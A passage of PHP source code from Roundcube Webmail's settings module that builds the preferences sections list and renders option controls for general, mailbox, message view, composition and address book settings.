                    'settingstabs' => [$this, 'settings_tabs'],
                    'sectionslist' => [$this, 'sections_list'],
            ]);
        }
    }

    /**
     * Render and initialize the settings sections table
     *
     * @param array $attrib Template object attributes
     *
     * @return string HTML content
     */
    public static function sections_list($attrib)
    {
        $rcmail = rcmail::get_instance();

        // add id to message list table if not specified
        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmsectionslist';
        }

        list($list, $cols) = self::user_prefs();

        // create XHTML table
        $out = self::table_output($attrib, $list, $cols, 'id');

        // set client env
        $rcmail->output->add_gui_object('sectionslist', $attrib['id']);
        $rcmail->output->include_script('list.js');

        return $out;
    }

    public static function user_prefs($current = null)
    {
        $rcmail = rcmail::get_instance();

        $sections['general']     = ['id' => 'general', 'section' => $rcmail->gettext('uisettings')];
        $sections['mailbox']     = ['id' => 'mailbox', 'section' => $rcmail->gettext('mailboxview')];
        $sections['mailview']    = ['id' => 'mailview','section' => $rcmail->gettext('messagesdisplaying')];
        $sections['compose']     = ['id' => 'compose', 'section' => $rcmail->gettext('messagescomposition')];
        $sections['addressbook'] = ['id' => 'addressbook','section' => $rcmail->gettext('contacts')];
        $sections['folders']     = ['id' => 'folders', 'section' => $rcmail->gettext('specialfolders')];
        $sections['server']      = ['id' => 'server',  'section' => $rcmail->gettext('serversettings')];
        $sections['encryption']  = ['id' => 'encryption', 'section' => $rcmail->gettext('encryption')];

        // hook + define list cols
        $plugin = $rcmail->plugins->exec_hook('preferences_sections_list', [
                'list' => $sections,
                'cols' => ['section']
        ]);

        $sections    = $plugin['list'];
        $config      = $rcmail->config->all();
        $no_override = array_flip((array) $rcmail->config->get('dont_override'));

        foreach ($sections as $idx => $sect) {
            $sections[$idx]['class'] = !empty($sect['class']) ? $sect['class'] : $idx;

            if ($current && $sect['id'] != $current) {
                continue;
            }

            $blocks = [];

            switch ($sect['id']) {

            // general
            case 'general':
                $blocks = [
                    'main'    => ['name' => rcube::Q($rcmail->gettext('mainoptions'))],
                    'skin'    => ['name' => rcube::Q($rcmail->gettext('skin'))],
                    'browser' => ['name' => rcube::Q($rcmail->gettext('browseroptions'))],
                    'advanced'=> ['name' => rcube::Q($rcmail->gettext('advancedoptions'))],
                ];

                // language selection
                if (!isset($no_override['language'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $a_lang = $rcmail->list_languages();
                    asort($a_lang);

                    $field_id = 'rcmfd_lang';
                    $select = new html_select([
                            'name'  => '_language',
                            'id'    => $field_id,
                            'class' => 'custom-select'
                    ]);

                    $select->add(array_values($a_lang), array_keys($a_lang));

                    $blocks['main']['options']['language'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('language'))),
                        'content' => $select->show($rcmail->user->language),
                    ];
                }

                // timezone selection
                if (!isset($no_override['timezone'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_timezone';
                    $select = new html_select([
                            'name'  => '_timezone',
                            'id'    => $field_id,
                            'class' => 'custom-select'
                    ]);

                    $select->add($rcmail->gettext('autodetect'), 'auto');

                    $zones = [];
                    foreach (DateTimeZone::listIdentifiers() as $i => $tzs) {
                        if ($data = self::timezone_standard_time_data($tzs)) {
                            $zones[$data['key']] = [$tzs, $data['offset']];
                        }
                    }

                    ksort($zones);

                    foreach ($zones as $zone) {
                        list($tzs, $offset) = $zone;
                        $select->add('(GMT ' . $offset . ') ' . self::timezone_label($tzs), $tzs);
                    }

                    $blocks['main']['options']['timezone'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('timezone'))),
                        'content' => $select->show((string)$config['timezone']),
                    ];
                }

                // date/time formatting
                if (!isset($no_override['time_format'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $reftime  = mktime(7,30,0);
                    $defaults = ['G:i', 'H:i', 'g:i a', 'h:i A'];
                    $formats  = (array) $rcmail->config->get('time_formats', $defaults);
                    $field_id = 'rcmfd_time_format';
                    $select   = new html_select([
                            'name'  => '_time_format',
                            'id'    => $field_id,
                            'class' => 'custom-select'
                    ]);

                    foreach ($formats as $choice) {
                        $select->add(date($choice, $reftime), $choice);
                    }

                    $blocks['main']['options']['time_format'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('timeformat'))),
                        'content' => $select->show($rcmail->config->get('time_format')),
                    ];
                }

                if (!isset($no_override['date_format'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $refdate  = mktime(12,30,0,7,24);
                    $defaults = ['Y-m-d','d-m-Y','Y/m/d','m/d/Y','d/m/Y','d.m.Y','j.n.Y'];
                    $formats  = (array) $rcmail->config->get('date_formats', $defaults);
                    $field_id = 'rcmfd_date_format';
                    $select   = new html_select([
                            'name'  => '_date_format',
                            'id'    => $field_id,
                            'class' => 'custom-select'
                    ]);

                    foreach ($formats as $choice) {
                        $select->add(date($choice, $refdate), $choice);
                    }

                    $blocks['main']['options']['date_format'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('dateformat'))),
                        'content' => $select->show($config['date_format']),
                    ];
                }

                // Show checkbox for toggling 'pretty dates'
                if (!isset($no_override['prettydate'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_prettydate';
                    $input    = new html_checkbox([
                            'name'  => '_pretty_date',
                            'id'    => $field_id,
                            'value' => 1
                    ]);

                    $blocks['main']['options']['prettydate'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('prettydate'))),
                        'content' => $input->show($config['prettydate']?1:0),
                    ];
                }

                // "display after delete" checkbox
                if (!isset($no_override['display_next'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_displaynext';
                    $input    = new html_checkbox([
                            'name'  => '_display_next',
                            'id'    => $field_id,
                            'value' => 1
                    ]);

                    $blocks['main']['options']['display_next'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('displaynext'))),
                        'content' => $input->show($config['display_next']?1:0),
                    ];
                }

                if (!isset($no_override['refresh_interval'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_refresh_interval';
                    $select   = new html_select([
                            'name'  => '_refresh_interval',
                            'id'    => $field_id,
                            'class' => 'custom-select'
                    ]);

                    $select->add($rcmail->gettext('never'), 0);
                    foreach ([1, 3, 5, 10, 15, 30, 60] as $min) {
                        if (!$config['min_refresh_interval'] || $config['min_refresh_interval'] <= $min * 60) {
                            $label = $rcmail->gettext(['name' => 'everynminutes', 'vars' => ['n' => $min]]);
                            $select->add($label, $min);
                        }
                    }

                    $blocks['main']['options']['refresh_interval'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('refreshinterval'))),
                        'content' => $select->show($config['refresh_interval']/60),
                    ];
                }

                // show drop-down for available skins
                if (!isset($no_override['skin'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $skins = self::get_skins();

                    if (count($skins) > 1) {
                        sort($skins);

                        $field_id = 'rcmfd_skin';
                        $input    = new html_radiobutton(['name' => '_skin']);

                        foreach ($skins as $skin) {
                            $skinname     = ucfirst($skin);
                            $author_link  = '';
                            $license_link = '';
                            $meta         = @json_decode(@file_get_contents(INSTALL_PATH . "skins/$skin/meta.json"), true);

                            if (is_array($meta) && !empty($meta['name'])) {
                                $skinname     = $meta['name'];
                                $author_link  = !empty($meta['url']) ? html::a(['href' => $meta['url'], 'target' => '_blank'], rcube::Q($meta['author'])) : rcube::Q($meta['author']);
                                $license_link = !empty($meta['license-url']) ? html::a(['href' => $meta['license-url'], 'target' => '_blank', 'tabindex' => '-1'], rcube::Q($meta['license'])) : rcube::Q($meta['license']);
                            }

                            $img = html::img([
                                    'src'     => $rcmail->output->asset_url("skins/$skin/thumbnail.png"),
                                    'class'   => 'skinthumbnail',
                                    'alt'     => $skin,
                                    'width'   => 64,
                                    'height'  => 64,
                                    'onerror' => "this.onerror = null; this.src = 'data:image/gif;base64," . rcmail_output::BLANK_GIF ."';",
                            ]);

                            $blocks['skin']['options'][$skin]['content'] = html::label(['class' => 'skinselection'],
                                html::span('skinitem', $input->show($config['skin'], ['value' => $skin, 'id' => $field_id.$skin])) .
                                html::span('skinitem', $img) .
                                html::span('skinitem', html::span('skinname', rcube::Q($skinname)) . html::br() .
                                    html::span('skinauthor', $author_link ? 'by ' . $author_link : '') . html::br() .
                                    html::span('skinlicense', $license_link ? $rcmail->gettext('license').':&nbsp;' . $license_link : ''))
                            );
                        }
                    }
                }

                // standard_windows option decides if new windows should be
                // opened as popups or standard windows (which can be handled by browsers as tabs)
                if (!isset($no_override['standard_windows'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_standard_windows';
                    $checkbox = new html_checkbox([
                            'name'  => '_standard_windows',
                            'id'    => $field_id,
                            'value' => 1
                    ]);

                    $blocks['browser']['options']['standard_windows'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('standardwindows'))),
                        'content' => $checkbox->show($config['standard_windows']?1:0),
                    ];
                }

                if ($current) {
                    $product_name = $rcmail->config->get('product_name', 'Roundcube Webmail');
                    $rcmail->output->add_script(sprintf("%s.check_protocol_handler('%s', '#mailtoprotohandler');",
                        rcmail_output::JS_OBJECT_NAME, rcube::JQ($product_name)), 'docready');
                }

                $blocks['browser']['options']['mailtoprotohandler'] = [
                    'content' => html::a(['href' => '#', 'id' => 'mailtoprotohandler'],
                    rcube::Q($rcmail->gettext('mailtoprotohandler'))) .
                    html::span('mailtoprotohandler-status', ''),
                ];

            break;

            // Mailbox view (mail screen)
            case 'mailbox':
                $blocks = [
                    'main'        => ['name' => rcube::Q($rcmail->gettext('mainoptions'))],
                    'new_message' => ['name' => rcube::Q($rcmail->gettext('newmessage'))],
                    'advanced'    => ['name' => rcube::Q($rcmail->gettext('advancedoptions'))],
                ];

                if (!isset($no_override['layout']) && count($config['supported_layouts']) > 1) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_layout';
                    $select   = new html_select([
                            'name'  => '_layout',
                            'id'    => $field_id,
                            'class' => 'custom-select'
                    ]);

                    $layouts = [
                        'widescreen' => 'layoutwidescreendesc',
                        'desktop'    => 'layoutdesktopdesc',
                        'list'       => 'layoutlistdesc'
                    ];

                    $available_layouts = array_intersect_key($layouts, array_flip($config['supported_layouts']));
                    foreach ($available_layouts as $val => $label) {
                        $select->add($rcmail->gettext($label), $val);
                    }

                    $blocks['main']['options']['layout'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('layout'))),
                        'content' => $select->show($config['layout'] ?: 'widescreen'),
                    ];
                }

                // show config parameter for auto marking the previewed message as read
                if (!isset($no_override['mail_read_time'])) {
                    if (!$current) {
                        continue 2;
                    }

                    // apply default if config option is not set at all
                    $config['mail_read_time'] = intval($rcmail->config->get('mail_read_time'));

                    $field_id = 'rcmfd_mail_read_time';
                    $select   = new html_select([
                            'name'  => '_mail_read_time',
                            'id'    => $field_id,
                            'class' => 'custom-select'
                    ]);

                    $select->add($rcmail->gettext('never'), -1);
                    $select->add($rcmail->gettext('immediately'), 0);

                    foreach ([5, 10, 20, 30] as $sec) {
                        $label = $rcmail->gettext(['name' => 'afternseconds', 'vars' => ['n' => $sec]]);
                        $select->add($label, $sec);
                    }

                    $blocks['main']['options']['mail_read_time'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('automarkread'))),
                        'content' => $select->show($config['mail_read_time']),
                    ];
                }

                if (!isset($no_override['autoexpand_threads'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $storage   = $rcmail->get_storage();
                    $supported = $storage->get_capability('THREAD');

                    if ($supported) {
                        $field_id = 'rcmfd_autoexpand_threads';
                        $select   = new html_select([
                                'name'  => '_autoexpand_threads',
                                'id'    => $field_id,
                                'class' => 'custom-select'
                        ]);

                        $select->add($rcmail->gettext('never'), 0);
                        $select->add($rcmail->gettext('do_expand'), 1);
                        $select->add($rcmail->gettext('expand_only_unread'), 2);

                        $blocks['main']['options']['autoexpand_threads'] = [
                            'title'   => html::label($field_id, rcube::Q($rcmail->gettext('autoexpand_threads'))),
                            'content' => $select->show($config['autoexpand_threads']),
                        ];
                    }
                }

                // show page size selection
                if (!isset($no_override['mail_pagesize'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $size     = intval($config['mail_pagesize'] ?: $config['pagesize']);
                    $field_id = 'rcmfd_mail_pagesize';
                    $input    = new html_inputfield([
                            'name'  => '_mail_pagesize',
                            'id'    => $field_id,
                            'size'  => 5,
                            'class' => 'form-control'
                    ]);

                    $blocks['main']['options']['pagesize'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('pagesize'))),
                        'content' => $input->show($size ?: 50),
                    ];
                }

                if (!isset($no_override['check_all_folders'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_check_all_folders';
                    $input    = new html_checkbox([
                            'name'  => '_check_all_folders',
                            'id'    => $field_id,
                            'value' => 1
                    ]);

                    $blocks['new_message']['options']['check_all_folders'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('checkallfolders'))),
                        'content' => $input->show($config['check_all_folders']?1:0),
                    ];
                }

                break;

            // Message viewing
            case 'mailview':
                $blocks = [
                    'main'     => ['name' => rcube::Q($rcmail->gettext('mainoptions'))],
                    'advanced' => ['name' => rcube::Q($rcmail->gettext('advancedoptions'))],
                ];

                // show checkbox to open message view in new window
                if (!isset($no_override['message_extwin'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_message_extwin';
                    $input    = new html_checkbox(['name' => '_message_extwin', 'id' => $field_id, 'value' => 1]);

                    $blocks['main']['options']['message_extwin'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('showinextwin'))),
                        'content' => $input->show($config['message_extwin']?1:0),
                    ];
                }

                // show checkbox to show email instead of name
                if (!isset($no_override['message_show_email'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_message_show_email';
                    $input    = new html_checkbox(['name' => '_message_show_email', 'id' => $field_id, 'value' => 1]);

                    $blocks['main']['options']['message_show_email'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('showemail'))),
                        'content' => $input->show($config['message_show_email']?1:0),
                    ];
                }

                // show checkbox for HTML/plaintext messages
                if (!isset($no_override['prefer_html'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_htmlmsg';
                    $input    = new html_checkbox([
                            'name'     => '_prefer_html',
                            'id'       => $field_id,
                            'value'    => 1,
                            'onchange' => "$('#rcmfd_show_images').prop('disabled', !this.checked).val(0)"
                    ]);

                    $blocks['main']['options']['prefer_html'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('preferhtml'))),
                        'content' => $input->show($config['prefer_html']?1:0),
                    ];
                }

                if (!isset($no_override['default_charset'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_default_charset';

                    $blocks['advanced']['options']['default_charset'] = [
                        'title' => html::label($field_id, rcube::Q($rcmail->gettext('defaultcharset'))),
                        'content' => $rcmail->output->charset_selector([
                                'id'       => $field_id,
                                'name'     => '_default_charset',
                                'selected' => $config['default_charset'],
                                'class'    => 'custom-select',
                        ])
                    ];
                }

                if (!isset($no_override['show_images'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_show_images';
                    $input    = new html_select([
                            'name'     => '_show_images',
                            'id'       => $field_id,
                            'class'    => 'custom-select',
                            'disabled' => empty($config['prefer_html'])
                    ]);

                    $input->add($rcmail->gettext('never'), 0);
                    $input->add($rcmail->gettext('frommycontacts'), 1);
                    $input->add($rcmail->gettext('fromtrustedsenders'), 3);
                    $input->add($rcmail->gettext('always'), 2);

                    $blocks['main']['options']['show_images'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('allowremoteresources'))),
                        'content' => $input->show(!empty($config['prefer_html']) ? $config['show_images'] : 0),
                    ];
                }

                if (!isset($no_override['mdn_requests'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_mdn_requests';
                    $select   = new html_select([
                            'name'  => '_mdn_requests',
                            'id'    => $field_id,
                            'class' => 'custom-select'
                    ]);

                    $select->add($rcmail->gettext('askuser'), 0);
                    $select->add($rcmail->gettext('autosend'), 1);
                    $select->add($rcmail->gettext('autosendknown'), 3);
                    $select->add($rcmail->gettext('autosendknownignore'), 4);
                    $select->add($rcmail->gettext('autosendtrusted'), 5);
                    $select->add($rcmail->gettext('autosendtrustedignore'), 6);
                    $select->add($rcmail->gettext('ignorerequest'), 2);

                    $blocks['main']['options']['mdn_requests'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('mdnrequests'))),
                        'content' => $select->show($config['mdn_requests']),
                    ];
                }

                if (!isset($no_override['inline_images'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_inline_images';
                    $input    = new html_checkbox(['name' => '_inline_images', 'id' => $field_id, 'value' => 1]);

                    $blocks['main']['options']['inline_images'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('showinlineimages'))),
                        'content' => $input->show($config['inline_images']?1:0),
                    ];
                }

                break;

            // Mail composition
            case 'compose':
                $blocks = [
                    'main'       => ['name' => rcube::Q($rcmail->gettext('mainoptions'))],
                    'sig'        => ['name' => rcube::Q($rcmail->gettext('signatureoptions'))],
                    'spellcheck' => ['name' => rcube::Q($rcmail->gettext('spellcheckoptions'))],
                    'advanced'   => ['name' => rcube::Q($rcmail->gettext('advancedoptions'))],
                ];

                // show checkbox to compose messages in a new window
                if (!isset($no_override['compose_extwin'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfdcompose_extwin';
                    $input    = new html_checkbox(['name' => '_compose_extwin', 'id' => $field_id, 'value' => 1]);

                    $blocks['main']['options']['compose_extwin'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('composeextwin'))),
                        'content' => $input->show($config['compose_extwin']?1:0),
                    ];
                }

                if (!isset($no_override['htmleditor'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_htmleditor';
                    $select   = new html_select([
                            'name'  => '_htmleditor',
                            'id'    => $field_id,
                            'class' => 'custom-select'
                    ]);

                    $select->add($rcmail->gettext('never'), 0);
                    $select->add($rcmail->gettext('htmlonreply'), 2);
                    $select->add($rcmail->gettext('htmlonreplyandforward'), 3);
                    $select->add($rcmail->gettext('always'), 1);
                    $select->add($rcmail->gettext('alwaysbutplain'), 4);

                    $blocks['main']['options']['htmleditor'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('htmleditor'))),
                        'content' => $select->show(intval($config['htmleditor'])),
                    ];
                }

                if (!isset($no_override['draft_autosave'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_autosave';
                    $select   = new html_select([
                            'name'     => '_draft_autosave',
                            'id'       => $field_id,
                            'class'    => 'custom-select',
                            'disabled' => empty($config['drafts_mbox'])
                    ]);

                    $select->add($rcmail->gettext('never'), 0);
                    foreach ([1, 3, 5, 10] as $i => $min) {
                        $label = $rcmail->gettext(['name' => 'everynminutes', 'vars' => ['n' => $min]]);
                        $select->add($label, $min * 60);
                    }

                    $blocks['main']['options']['draft_autosave'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('autosavedraft'))),
                        'content' => $select->show($config['draft_autosave']),
                    ];
                }

                if (!isset($no_override['mime_param_folding'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_param_folding';
                    $select   = new html_select([
                            'name'  => '_mime_param_folding',
                            'id'    => $field_id,
                            'class' => 'custom-select'
                    ]);

                    $select->add($rcmail->gettext('2231folding'), 0);
                    $select->add($rcmail->gettext('miscfolding'), 1);
                    $select->add($rcmail->gettext('2047folding'), 2);

                    $blocks['advanced']['options']['mime_param_folding'] = [
                        'title'    => html::label($field_id, rcube::Q($rcmail->gettext('mimeparamfolding'))),
                        'content'  => $select->show($config['mime_param_folding']),
                    ];
                }

                if (!isset($no_override['force_7bit'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_force_7bit';
                    $input    = new html_checkbox(['name' => '_force_7bit', 'id' => $field_id, 'value' => 1]);

                    $blocks['advanced']['options']['force_7bit'] = [
                        'title'    => html::label($field_id, rcube::Q($rcmail->gettext('force7bit'))),
                        'content'  => $input->show($config['force_7bit']?1:0),
                    ];
                }

                if (!isset($no_override['mdn_default'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_mdn_default';
                    $input    = new html_checkbox(['name' => '_mdn_default', 'id' => $field_id, 'value' => 1]);

                    $blocks['main']['options']['mdn_default'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('reqmdn'))),
                        'content' => $input->show($config['mdn_default']?1:0),
                    ];
                }

                if (!isset($no_override['dsn_default'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_dsn_default';
                    $input    = new html_checkbox(['name' => '_dsn_default', 'id' => $field_id, 'value' => 1]);

                    $blocks['main']['options']['dsn_default'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('reqdsn'))),
                        'content' => $input->show($config['dsn_default']?1:0),
                    ];
                }

                if (!isset($no_override['reply_same_folder'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_reply_same_folder';
                    $input    = new html_checkbox(['name' => '_reply_same_folder', 'id' => $field_id, 'value' => 1]);

                    $blocks['main']['options']['reply_same_folder'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('replysamefolder'))),
                        'content' => $input->show($config['reply_same_folder']?1:0),
                    ];
                }

                if (!isset($no_override['reply_mode'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_reply_mode';
                    $select   = new html_select(['name' => '_reply_mode', 'id' => $field_id, 'class' => 'custom-select']);

                    $select->add($rcmail->gettext('replyempty'), -1);
                    $select->add($rcmail->gettext('replybottomposting'), 0);
                    $select->add($rcmail->gettext('replytopposting'), 1);
                    $select->add($rcmail->gettext('replytoppostingnoindent'), 2);

                    $blocks['main']['options']['reply_mode'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('whenreplying'))),
                        'content' => $select->show(intval($config['reply_mode'])),
                    ];
                }

                if (!isset($no_override['spellcheck_before_send']) && $config['enable_spellcheck']) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_spellcheck_before_send';
                    $input    = new html_checkbox([
                            'name'  => '_spellcheck_before_send',
                            'id'    => $field_id,
                            'value' => 1
                    ]);

                    $blocks['spellcheck']['options']['spellcheck_before_send'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('spellcheckbeforesend'))),
                        'content' => $input->show($config['spellcheck_before_send']?1:0),
                    ];
                }

                if ($config['enable_spellcheck']) {
                    if (!$current) {
                        continue 2;
                    }

                    foreach (['syms', 'nums', 'caps'] as $key) {
                        $key = 'spellcheck_ignore_' . $key;
                        if (!isset($no_override[$key])) {
                            $input = new html_checkbox(['name' => '_' . $key, 'id' => 'rcmfd_' . $key, 'value' => 1]);

                            $blocks['spellcheck']['options'][$key] = [
                                'title'   => html::label('rcmfd_' . $key, rcube::Q($rcmail->gettext(str_replace('_', '', $key)))),
                                'content' => $input->show($config[$key]?1:0),
                            ];
                        }
                    }
                }

                if (!isset($no_override['show_sig'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_show_sig';
                    $select   = new html_select([
                            'name'  => '_show_sig',
                            'id'    => $field_id,
                            'class' => 'custom-select'
                    ]);

                    $select->add($rcmail->gettext('never'), 0);
                    $select->add($rcmail->gettext('always'), 1);
                    $select->add($rcmail->gettext('newmessageonly'), 2);
                    $select->add($rcmail->gettext('replyandforwardonly'), 3);

                    $blocks['sig']['options']['show_sig'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('autoaddsignature'))),
                        'content' => $select->show($rcmail->config->get('show_sig', 1)),
                    ];
                }

                if (!isset($no_override['sig_below'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_sig_below';
                    $input    = new html_checkbox(['name' => '_sig_below', 'id' => $field_id, 'value' => 1]);

                    $blocks['sig']['options']['sig_below'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('sigbelow'))),
                        'content' => $input->show($rcmail->config->get('sig_below') ? 1 : 0),
                    ];
                }

                if (!isset($no_override['strip_existing_sig'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_strip_existing_sig';
                    $input    = new html_checkbox([
                            'name'  => '_strip_existing_sig',
                            'id'    => $field_id,
                            'value' => 1
                    ]);

                    $blocks['sig']['options']['strip_existing_sig'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('replyremovesignature'))),
                        'content' => $input->show($config['strip_existing_sig']?1:0),
                    ];
                }

                if (!isset($no_override['sig_separator'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_sig_separator';
                    $input    = new html_checkbox(['name' => '_sig_separator', 'id' => $field_id, 'value' => 1]);

                    $blocks['sig']['options']['sig_separator'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('sigseparator'))),
                        'content' => $input->show($rcmail->config->get('sig_separator') ? 1 : 0),
                    ];
                }

                if (!isset($no_override['forward_attachment'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_forward_attachment';
                    $select = new html_select([
                            'name'  => '_forward_attachment',
                            'id'    => $field_id,
                            'class' => 'custom-select'
                    ]);

                    $select->add($rcmail->gettext('inline'), 0);
                    $select->add($rcmail->gettext('asattachment'), 1);

                    $blocks['main']['options']['forward_attachment'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('forwardmode'))),
                        'content' => $select->show(intval($config['forward_attachment'])),
                    ];
                }

                if (!isset($no_override['default_font']) || !isset($no_override['default_font_size'])) {
                    if (!$current) {
                        continue 2;
                    }

                    // Default font size
                    $field_id = 'rcmfd_default_font_size';
                    $select_size = new html_select([
                            'name'  => '_default_font_size',
                            'id'    => $field_id,
                            'class' => 'custom-select'
                    ]);

                    $fontsizes = ['', '8pt', '9pt', '10pt', '11pt', '12pt', '14pt', '18pt', '24pt', '36pt'];
                    foreach ($fontsizes as $size) {
                        $select_size->add($size, $size);
                    }

                    // Default font
                    $field_id = 'rcmfd_default_font';
                    $select_font = new html_select([
                            'name' => '_default_font',
                            'id' => $field_id,
                            'class' => 'custom-select'
                    ]);

                    $select_font->add('', '');

                    $fonts = self::font_defs();
                    foreach (array_keys($fonts) as $fname) {
                        $select_font->add($fname, $fname);
                    }

                    $blocks['main']['options']['default_font'] = [
                        'title' => html::label($field_id, rcube::Q($rcmail->gettext('defaultfont'))),
                        'content' => html::div('input-group',
                            $select_font->show($rcmail->config->get('default_font', 1)) .
                            $select_size->show($rcmail->config->get('default_font_size', 1))
                        )
                    ];
                }

                if (!isset($no_override['reply_all_mode'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_reply_all_mode';
                    $select   = new html_select([
                            'name'  => '_reply_all_mode',
                            'id'    => $field_id,
                            'class' => 'custom-select'
                    ]);

                    $select->add($rcmail->gettext('replyalldefault'), 0);
                    $select->add($rcmail->gettext('replyalllist'), 1);

                    $blocks['main']['options']['reply_all_mode'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('replyallmode'))),
                        'content' => $select->show(intval($config['reply_all_mode'])),
                    ];
                }

                if (!isset($no_override['compose_save_localstorage'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_compose_save_localstorage';
                    $input    = new html_checkbox([
                            'name'  => '_compose_save_localstorage',
                            'id'    => $field_id,
                            'value' => 1
                    ]);

                    $blocks['advanced']['options']['compose_save_localstorage'] = [
                        'title'    => html::label($field_id, rcube::Q($rcmail->gettext('savelocalstorage'))),
                        'content'  => $input->show($config['compose_save_localstorage']?1:0),
                    ];
                }

                break;

            // Addressbook config
            case 'addressbook':
                $blocks = [
                    'main'      => ['name' => rcube::Q($rcmail->gettext('mainoptions'))],
                    'collected' => ['name' => rcube::Q($rcmail->gettext('collectedaddresses'))],
                    'advanced'  => ['name' => rcube::Q($rcmail->gettext('advancedoptions'))],
                ];

                if (!isset($no_override['default_addressbook'])
                    && (!$current || ($books = $rcmail->get_address_sources(true, true)))
                ) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_default_addressbook';
                    $select   = new html_select([
                            'name'  => '_default_addressbook',
                            'id'    => $field_id,
                            'class' => 'custom-select'
                    ]);

                    if (!empty($books)) {
                        foreach ($books as $book) {
                            $select->add(html_entity_decode($book['name'], ENT_COMPAT, 'UTF-8'), $book['id']);
                        }
                    }

                    $blocks['main']['options']['default_addressbook'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('defaultabook'))),
                        'content' => $select->show($config['default_addressbook']),
                    ];
                }

                // show addressbook listing mode selection
                if (!isset($no_override['addressbook_name_listing'])) {
                    if (!$current) {
                        continue 2;
                    }

                    $field_id = 'rcmfd_addressbook_name_listing';
                    $select   = new html_select([
                            'name'  => '_addressbook_name_listing',
                            'id'    => $field_id,
                            'class' => 'custom-select'
                    ]);

                    $select->add($rcmail->gettext('name'), 0);
                    $select->add($rcmail->gettext('firstname') . ' '  . $rcmail->gettext('surname'), 1);
                    $select->add($rcmail->gettext('surname')   . ' '  . $rcmail->gettext('firstname'), 2);
                    $select->add($rcmail->gettext('surname')   . ', ' . $rcmail->gettext('firstname'), 3);

                    $blocks['main']['options']['list_name_listing'] = [
                        'title'   => html::label($field_id, rcube::Q($rcmail->gettext('listnamedisplay'))),
